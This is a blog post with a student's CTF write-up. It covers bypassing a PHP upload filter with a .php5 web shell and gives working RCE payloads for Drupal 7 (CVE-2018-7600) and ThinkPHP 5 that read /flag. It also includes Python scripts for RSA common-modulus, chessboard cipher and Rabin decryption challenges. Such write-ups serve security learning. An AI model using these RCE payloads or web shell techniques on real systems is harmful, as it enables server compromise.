CUMT-CTF第一次双月赛Writeup

最新推荐文章于 2024-02-22 22:28:57 发布

Gard3nia

最新推荐文章于 2024-02-22 22:28:57 发布

阅读量1.3k

点赞数

分类专栏： Writeup 文章标签： CTF Web Crypto

本文链接：https://blog.csdn.net/gar_denia/article/details/88080425

版权

Writeup 专栏收录该内容

9 篇文章 1 订阅

订阅专栏

前言

知其然，知其所以然

正文

WEB

ez-upload

题目描述是可以上传图片的，就随手上传一张图片上去

回显出目录结构如下：

访问URL发现可以看到上传的图片：

知道了上传目录，现在要做的就是上传成功一个Web Shell。

连接Cknife，写了个php小马，上传发现不可以上传以php结尾的文件。

第一次抓包尝试加00截断，未果。

第二次将后缀改成1.php.abc可以成功上传，但是设置Cknife需要连接的时候发现connection：close，应该是不能将上传的1.php.abc成功解析,未果。

第三次将后缀改成php5，可以上传成功，连接Cknife，成功进入，应该这次可以将haha.php5成功解析：

在upload文件夹中找了半天，全都是别人上传的文件，最后在根目录发现了flag：

CVE

hint不需要扣分，就窥视了一下，提示是drupal7的CVE漏洞。

Google一波，看看大佬写的博客，贴个链接：

https://www.menzel3.fun/2018/08/02/Drupal CVE2018-7600/#Drupal7-

https://www.jianshu.com/p/7c410db788ed

先创建账号，发现不可以发送email，Google到的结果告诉我更换新密码的页面是存在漏洞的，所以输入用户名的时候直接拿bp截断，构造post：

?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=system&name%5B%23markup%5D=ls%20/&name%5B%23type%5D=markup

form_id=user_pass&_triggering_element_name=name

这里原来的命令需要修改，将其改为ls%20/，目的是查看根目录，Go一下回显form_build_id：

保留这个form_build_id，用Hackbar post一下这个form_build_id，如下图：

抓包截断，go一下回显根目录，发现flag文件，

下一步就是尝试打开这个flag文件，所以重复上述操作，将之前的ls命令换成cat%20/flag即可。（需要注意的是这里的空格需要使用url编码%20，之前没有注意到这个点，导致回显不出数据）

tp5

是个新题正好是前段时间爆出来的新漏洞：ThinkPHP 5.0 & 5.1远程命令执行漏洞，前些日子看合天公众号推送了一篇类似的文章正好派上用场：click here

题目提示是tp5.0版本，文章直接有payload：

命令执行：

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]

先ls /列出根目录下的所有目录，发现flag文件；

然后直接查看flag文件即可：

payload:

http://219.219.61.234:10005/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

Crypto

之前还没有认真学习过密码学的东西，好在期末好好复习了密码学，现在已经对密码学的知识有了个初步的认识，来温习一下上次的crypto

现代密码签到题

拿到这题，看到n,c1,c2,e1,e2基本已经锁定这一题就是RSA的共模攻击，但是所给的参数全部都是字母，按理说应该都是数字才对，所以最难的工作就是将这一堆的字母转化为可用的数字；

先统计一下字母的出现频率：

#coding:utf-8
n="ZZTOBOTBBISBBSOIIAbZAbZOAgObAEEgIBSBgBTIZAEgZTTZZbBEIOTEASTBBBAOEIZgETBSATESOZgZAZOZbTOIbSSIBIgOSZAEOTTgOOATSSBAbbAgOAAOOIOZAIAIABSZBEZBbABEIEOTOZbIbOSTZTAbgBATEbIIIAgSOBTgBBbgTObEATSOIgEISBEIITbEZTIOTOOTBTZZBOIbABOIZTbTTEgEbAggZgSEOAIbSgBbBbOZTESAZIbAZZSbSgEAASgOISIbIgZTbIEbOTgOZBEISAZBSTgTTBSgbIZSgbZBZESEbTgEZTTTEEOETZTOOAAOTZbZIgTZEISBbEZASggIBIgBESTZbZZAOASgOESAOBASAITBBObZZbZIbASIOIAObOSBbBIZZAIOEBBOgOITAAZOIATTSZAOBSSAIZgTBgTbOgOZEOOBgBOAbZTEgOgOOTBSZBIBATAOEOTTObggbATbATEbEOISIOZIIBgSbTETbTEgAIESAZITbgZbgbOAAgbgbgSEOBSObAEbSTEIAZSbSSTEABTSBESOTOETESbgAABABOEgBbAEBZEEgZIbZbbbTObTESbTABBBTISOBgZSEIIISABOI"
c1="ZZEZZOESZTSbbEZETOAIbAbBgETTOASIgEESOgEZATOIgIEABAEOEEEBOTbZIObOESAZbIZTSBgSbZbZBbgbAOBZZABbATOIZIIAgAZAABSSTIEbIOOTAZIZgEbTSSIbEEBBZZIgSZBOEIETgAggIIEbOABIAOgIBBAZATIZIgBAOZbESEbEEBBBbZSOAgZbBZTEgAEbAIOOIEAEbbSIIbITZOTZSBSSABABbbbgOOBATBBTZIEAgSSSbbZOIgBTgOBISOIIIEZZZggbIZEEOSSEEOOgEZSgbAETTTgBBgZTOEIbISZIBSZBOSgSbBIIZIgSbEBBEEIZBgbEEOISbZgBbZIbTAbBAESEgIgSATSSBIZTgZOgZSTObBAZBOBgIATbZIggOIIOSAgSSBIbSEAgTTbTSZbTEgSOOgSTSEATBZOEBTOTEABEgZBAZSObbSEbEbIABZTTABgZETOgbgSZOTAOEOAZBTASbSSSSOBgEEETZTBZEZTSObSbgOIOTTZSETAgTSAITbAEIIAZgOSZZIbZgIIgBgEZOgZbITTgZbASZSEgOIATBgIOBOISgZBTBZOESbABbIIIBgIZOASAbAgSgBEZSbbOSIEbI"
c2="IBTOZOIOOASIBTOISSSbSABbgIbAZEgAgBZBESbbgZbZIATZEOZIZTEIEOggEBbTSZZbASBSSSZIOAZSgTZAZgAIBAAgZTEAIOSESEBTgBSgEIOEbTIIBSAZbSbZEgOSObbBOSbbSTSIBOEZbgIObBBOTAbTbgOOEATBgOOTgIOggSgOZEgSIEgZSAAgTABBIAOTSgOAOITATISBSSTZBABATESSbAgOSbSASOObZbbATObAAgIZBAISBEATBTgbIgATZbbZSgTBgTBSgbZgZZZEBTOIIEAOTgTZOAIAZZBAIAObbIgEOTIAgSEOAbIZEAIOSZgBTASSbISgEOOZESEbBZEBOIAggZbgTTEESTIBbOBTASZTATSOOBAObAOAIgEbSOIISSAAZIIBEOETSOSbSEAbIZBbTEZTAOgBETOZTAOBZZbTIIABOASbIgAgTbbTIBASBbIZEbSTZBSbOAObIBTSbSEgOgSbTBZZEZBgIAObSEETTgTTEEAAAbAOESISIBTTSABTbAgBIggTBZbZEbEbITZbSTgTgBZBAEITgbEOBBBTZgAOTZEBAgbbSOgBTTZOAZBTOBZITIISZSTgBgOOTBbTEEIbgBEgT"
e1="IIIBTZBg"
e2="gbATZgI"
def count_each_char_1(string):
    res = {}
    for i in string:
        if i not in res:
            res[i] = 1
        else:
            res[i] += 1
    return res

print "n:"+str((count_each_char_1(n)))
print "c1:"+str((count_each_char_1(c1)))
print "c2:"+str((count_each_char_1(c2)))
print "e1:"+str((count_each_char_1(e1)))
print "e2:"+str((count_each_char_1(e2)))

Result

n:{'A': 65, 'B': 63, 'E': 56, 'g': 52, 'I': 60, 'O': 72, 'S': 56, 'b': 62, 'T': 69, 'Z': 62}
c1:{'A': 55, 'b': 62, 'E': 66, 'g': 60, 'I': 67, 'O': 58, 'S': 65, 'B': 59, 'T': 53, 'Z': 72}
c2:{'A': 67, 'B': 61, 'E': 51, 'g': 60, 'I': 57, 'O': 63, 'S': 66, 'b': 63, 'T': 70, 'Z': 59}
e1:{'I': 3, 'Z': 1, 'B': 2, 'T': 1, 'g': 1}
e2:{'A': 1, 'b': 1, 'g': 2, 'I': 1, 'T': 1, 'Z': 1}

发现总共就出现了10个字母A,B,E,g,I,O,S,b,T,Z,猜想这10个字母对应的是0-9的10个数字，如何将字母和数字进行对应是个头疼的问题；想了半天，没办法，只能暴力破解，产生字母的全排列对应10个数字…

暴力破解脚本(借鉴队友脚本学习了一下)

#coding:utf-8
import gmpy2
import base64
import itertools

def main():
	dic_alp1=['O','T','A','B','b','Z','I','E','S','g']
	dic_num=['0','1','2','3','4','5','6','7','8','9']
	dic_alp2=list(itertools.permutations(dic_alp1))
	for x in dic_alp2:
		n="ZZTOBOTBBISBBSOIIAbZAbZOAgObAEEgIBSBgBTIZAEgZTTZZbBEIOTEASTBBBAOEIZgETBSATESOZgZAZOZbTOIbSSIBIgOSZAEOTTgOOATSSBAbbAgOAAOOIOZAIAIABSZBEZBbABEIEOTOZbIbOSTZTAbgBATEbIIIAgSOBTgBBbgTObEATSOIgEISBEIITbEZTIOTOOTBTZZBOIbABOIZTbTTEgEbAggZgSEOAIbSgBbBbOZTESAZIbAZZSbSgEAASgOISIbIgZTbIEbOTgOZBEISAZBSTgTTBSgbIZSgbZBZESEbTgEZTTTEEOETZTOOAAOTZbZIgTZEISBbEZASggIBIgBESTZbZZAOASgOESAOBASAITBBObZZbZIbASIOIAObOSBbBIZZAIOEBBOgOITAAZOIATTSZAOBSSAIZgTBgTbOgOZEOOBgBOAbZTEgOgOOTBSZBIBATAOEOTTObggbATbATEbEOISIOZIIBgSbTETbTEgAIESAZITbgZbgbOAAgbgbgSEOBSObAEbSTEIAZSbSSTEABTSBESOTOETESbgAABABOEgBbAEBZEEgZIbZbbbTObTESbTABBBTISOBgZSEIIISABOI"
		c1="ZZEZZOESZTSbbEZETOAIbAbBgETTOASIgEESOgEZATOIgIEABAEOEEEBOTbZIObOESAZbIZTSBgSbZbZBbgbAOBZZABbATOIZIIAgAZAABSSTIEbIOOTAZIZgEbTSSIbEEBBZZIgSZBOEIETgAggIIEbOABIAOgIBBAZATIZIgBAOZbESEbEEBBBbZSOAgZbBZTEgAEbAIOOIEAEbbSIIbITZOTZSBSSABABbbbgOOBATBBTZIEAgSSSbbZOIgBTgOBISOIIIEZZZggbIZEEOSSEEOOgEZSgbAETTTgBBgZTOEIbISZIBSZBOSgSbBIIZIgSbEBBEEIZBgbEEOISbZgBbZIbTAbBAESEgIgSATSSBIZTgZOgZSTObBAZBOBgIATbZIggOIIOSAgSSBIbSEAgTTbTSZbTEgSOOgSTSEATBZOEBTOTEABEgZBAZSObbSEbEbIABZTTABgZETOgbgSZOTAOEOAZBTASbSSSSOBgEEETZTBZEZTSObSbgOIOTTZSETAgTSAITbAEIIAZgOSZZIbZgIIgBgEZOgZbITTgZbASZSEgOIATBgIOBOISgZBTBZOESbABbIIIBgIZOASAbAgSgBEZSbbOSIEbI"
		c2="IBTOZOIOOASIBTOISSSbSABbgIbAZEgAgBZBESbbgZbZIATZEOZIZTEIEOggEBbTSZZbASBSSSZIOAZSgTZAZgAIBAAgZTEAIOSESEBTgBSgEIOEbTIIBSAZbSbZEgOSObbBOSbbSTSIBOEZbgIObBBOTAbTbgOOEATBgOOTgIOggSgOZEgSIEgZSAAgTABBIAOTSgOAOITATISBSSTZBABATESSbAgOSbSASOObZbbATObAAgIZBAISBEATBTgbIgATZbbZSgTBgTBSgbZgZZZEBTOIIEAOTgTZOAIAZZBAIAObbIgEOTIAgSEOAbIZEAIOSZgBTASSbISgEOOZESEbBZEBOIAggZbgTTEESTIBbOBTASZTATSOOBAObAOAIgEbSOIISSAAZIIBEOETSOSbSEAbIZBbTEZTAOgBETOZTAOBZZbTIIABOASbIgAgTbbTIBASBbIZEbSTZBSbOAObIBTSbSEgOgSbTBZZEZBgIAObSEETTgTTEEAAAbAOESISIBTTSABTbAgBIggTBZbZEbEbITZbSTgTgBZBAEITgbEOBBBTZgAOTZEBAgbbSOgBTTZOAZBTOBZITIISZSTgBgOOTBbTEEIbgBEgT"
		e1="IIIBTZBg"
		e2="gbATZgI"
		for i in range(10):
			n=n.replace(x[i],dic_num[i])
			c1=c1.replace(x[i],dic_num[i])
			c2=c2.replace(x[i],dic_num[i])
			e1=e1.replace(x[i],dic_num[i])
			e2=e2.replace(x[i],dic_num[i])

		n=int(n,10)
		c1=int(c1,10)
		c2=int(c2,10)
		e1=int(e1,10)
		e2=int(e2,10)
		if gmpy2.gcd(e1,e2)!=1:
			continue
		else:
			mgcd,s,t=gmpy2.gcdext(e1,e2)
			if s<0:
				try:
					s=-s
					c1=gmpy2.invert(c1,n)
				except ZeroDivisionError:
					continue
			if t<0:
				try:
					t=-t
					c2=gmpy2.invert(c2,n)
				except ZeroDivisionError:
					continue
			plain=pow(c1,s,n)*pow(c2,t,n)%n
			try:
				ans = '{:x}'.format(plain).decode('hex')
				if 'flag' in ans:
					print ans
					print x
					break
			except TypeError:
				pass
			
if __name__ == '__main__':
	main()

先用出现字母的全排列对应表0-9这10个数，然后将所有参数用数字表示，用RSA的共模攻击求出最后的结果，发现flag：

最后发现是与数字形状相似的字母代替数字产生的参数…

**attention：**其实可以对脚本进行优化，因为e1和e2都是和φ(n)互素的，所以e1和e2都是奇数，所以可以缩小e1和e2的范围，最后一个数字都是奇数，即：g和I都是奇数；

古典密码签到题

这题直接告诉是棋盘密码，比较简单，给出的密文里总共有ksynb5个字母，所以直接构造这5个字母的全排列对应26字母表即可，总共有5!=120种不同的结果，可以直接暴破；

暴力破解脚本：

#coding:utf-8
import itertools

key=[]
cipher="ksyssskkysynbssbbnynnb"
dic_cip=list(itertools.permutations("ksynb"))
for x in dic_cip:
    key.append(''.join(x))

for child_key in key:
    num_c=""
    ans=""
    for now_c in cipher:
        num_c+=str(child_key.index(now_c))
    for i in range(0,len(num_c),2):
        now_ascii=int(num_c[i])*5+int(num_c[i+1])+97
        if now_ascii>ord("i"):
            now_ascii+=1
        else:
            pass
        ans+=chr(now_ascii)
    if 'flag' in ans:
        print child_key,ans

发现有两种结果里面有flag字符，显然是第一个，排列方式为skynb；

First level

题目给出e=2，基本已经锁定是RSA的衍生算法rabin，yafu分解n得到p和q如下：

PRP617 = 28349223152666012309896421767725787316124897111416473420803849019741154117582482568645254183215552986563114855665416593397403745371086355268654763921803558654340155902194948080056226592560917521612824589013349044205989541259468856602228462903448721105774109966325479530181197156476502473067978072053273437369680433495259118953717909524799086692640103084287064091489681162498108275295255082627807077949841602061428289272700263987438087045434043977981316071156426134695316796020506076336851840708593720052204359360366058549157961154869248835793804817253083037277453771408544063058190126149127240681909811943783388977967
PRP617 = 28349223152666012309896421767725787316124897111416473420803849019741154117582482568645254183215552986563114855665416593397403745371086355268654763921803558654340155902194948080056226592560917521612824589013349044205989541259468856602228462903448721105774109966325479530181197156476502473067978072053273437369680433495259118953717909524799086692640103084287064091489681162498101607280822202773532998098050880803631144514377948079277690787622279940743498439084904702494445241729763146426258407468147831250550239995285695193105630324823153678214290802694619958991541957383815098042054239547145549933872335482492225099839

ans = 1

eof; done processing batchfile

攻击脚本：

#coding:utf-8
import gmpy2
c=499900287907163903863770127517451824950591449854220282014018552802396943304674724533357663876916175459043411887269615620980351359674373127551283923032759205525834407466303318140213222438375548066871397251493100247836770129792554768759516349058673615081761638343932256849889604058608747531941928982832585706361391950223948529046950139043176720742038526998231448270490097134641169635210567151369533018545746204046992368621334939029582400285322777365958482219075297507215203709356125635202625121091161318566582307478931230962853531285514124459092351456397307588024613094226807792165876133269038363995037219677926220967578191033480631890589761476293394613074763877465067481353073032261829035532832262390121385388328585967620567497069930361644409182632934629875953161754678971744082331335000439916510067572742641854184303838362027247026467270857712018679364014951870327424723286991989268813839644982317838329022551033151317911958707603833070206941532496854730739054206016872958750645705043270396511543390465607172543992216405734971188437702405334334961918445724163241075322921116618280425131683507843396376626705861243420399065472311770119489811395486846742327683616439776584876654620796349661745998246254486950516901889112077176621805823
p=28349223152666012309896421767725787316124897111416473420803849019741154117582482568645254183215552986563114855665416593397403745371086355268654763921803558654340155902194948080056226592560917521612824589013349044205989541259468856602228462903448721105774109966325479530181197156476502473067978072053273437369680433495259118953717909524799086692640103084287064091489681162498108275295255082627807077949841602061428289272700263987438087045434043977981316071156426134695316796020506076336851840708593720052204359360366058549157961154869248835793804817253083037277453771408544063058190126149127240681909811943783388977967
q=28349223152666012309896421767725787316124897111416473420803849019741154117582482568645254183215552986563114855665416593397403745371086355268654763921803558654340155902194948080056226592560917521612824589013349044205989541259468856602228462903448721105774109966325479530181197156476502473067978072053273437369680433495259118953717909524799086692640103084287064091489681162498101607280822202773532998098050880803631144514377948079277690787622279940743498439084904702494445241729763146426258407468147831250550239995285695193105630324823153678214290802694619958991541957383815098042054239547145549933872335482492225099839

def rabin_decrypt(c, p, q, e=2):
    n = p * q
    mp = pow(c, (p + 1) / 4, p)
    mq = pow(c, (q + 1) / 4, q)
    yp = gmpy2.invert(p, q)
    yq = gmpy2.invert(q, p)
    r = (yp * p * mq + yq * q * mp) % n
    rr = n - r
    s = (yp * p * mq - yq * q * mp) % n
    ss = n - s
    return (r, rr, s, ss)

def main():
    ans=rabin_decrypt(c,p,q,e=2)
    for x in ans:
        temp='{:x}'.format(x).decode('hex')
        if 'flag' in temp:
            print temp

if __name__ == '__main__':
    main()

攻击得到4个结果，经过筛选得到一段含有flag的有意义的明文：

Gard3nia

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
CUMT-CTF第一次双月赛Writeup

前言知其然，知其所以然正文WEBez-upload题目描述是可以上传图片的，就随手上传一张图片上去回显出目录结构如下：访问URL发现可以看到上传的图片：知道了上传目录，现在要做的就是上传成功一个Web Shell。连接Cknife，写了个php小马，上传发现不可以上传以php结尾的文件。第一次抓包尝试加00截断，未果。第二次将后缀改成1.php.abc可以成功上传，但是...
复制链接

扫一扫